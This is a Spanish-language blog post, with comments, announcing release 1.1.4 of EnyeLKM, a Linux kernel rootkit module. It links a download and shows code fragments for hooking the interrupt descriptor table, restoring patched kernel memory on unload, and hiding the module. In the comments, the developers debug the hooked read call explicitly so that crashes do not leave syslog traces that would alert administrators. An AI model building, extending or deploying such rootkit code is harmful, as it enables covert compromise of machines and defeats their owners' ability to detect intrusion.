EnyeLKM 1.1.4

Language / Lenguaje:

http://www.fr33project.org/projects/enyelkm-1.1.4.rar

Nuevo módulo: restore_memory.c, el módulo es capaz de guardar la memoria sobreescrita por los
saltos para luego restaurarlos cuando se descargue el módulo (antes no era posible descargarlo).

create_push_ret( & push_ret, (unsigned long) new_idt );
save_memory( (unsigned long) p, & backup_memory );
write_push_ret( ( void *) p, & push_ret );

Función cleanup del LKM:
restore_memory( & backup_memory );

__dev_remove_pack( & my_pkt );

/* dejar terminar procesos que estan ‘leyendo’ */
while ( read_activo != 0 || can_unload_lkm != 1 )
schedule();

Modificación en idt:
void new_idt( void )
{
can_unload_lkm = 0;
….
can_unload_lkm = 1;

JmPushRet( after_call )

El semáforo se usa por si hay ejecutandose alguna llamada al sistema redireccionada.

PD: Para probarlo comentar la función hide_module().


Posted by David Reguera Garcia

3 Responses to “EnyeLKM 1.1.4”

  1. RaiSe Says:

    Nass. Como ya te comenté por msn hay una pifia mia en el hacked_read(), el semaforo de read_activo no puede ser uno binario, como diria mi profesor de SO hay un problema de exclusion mutua clarisimo XD. read_activo tiene que ser un contador inicializado a 0, cuando un proceso entra en un read lo incrementa, y al salir lo decrementa, como está ahora un proceso puede estar dentro de su read bloqueado y read_activo a 0 tranquilamente. A ser posible read_activo que sea mejor de tipo atomic_t para que evite problemas de exclusion mutua y para que quede + chulo :). Por lo demas lo de carga/descarga va perfect, solo falla que un proceso puede estar bloqueado dentro de nuestra hacked_read() y con read_activo a 0, el modulo se descarga y al dar a intro (bash) por ejemplo se desbloquea, se restaura su eip que estaba en nuestra hacked_read() que ya no existe, da un error de falta de pagina y peta el proceso dejando una hilera de mensajes en el syslog que llamaria la atencion al administrador mas empanao jeje. Un saludo ;).

  2. David Reguera Garcia Says:

    Bueno de todas maneras, la descarga es solo para ti y para mi, a priori no se suele descargar el LKM, de todas formas, puedes pastear tu hacked_read? o lo implemento yo? :?

  3. David Reguera Garcia Says:

    Ya lo he implementado yo :-), echa un ojo al 1.1.4-fix :-).

Leave a Reply

You must be logged in to post a comment.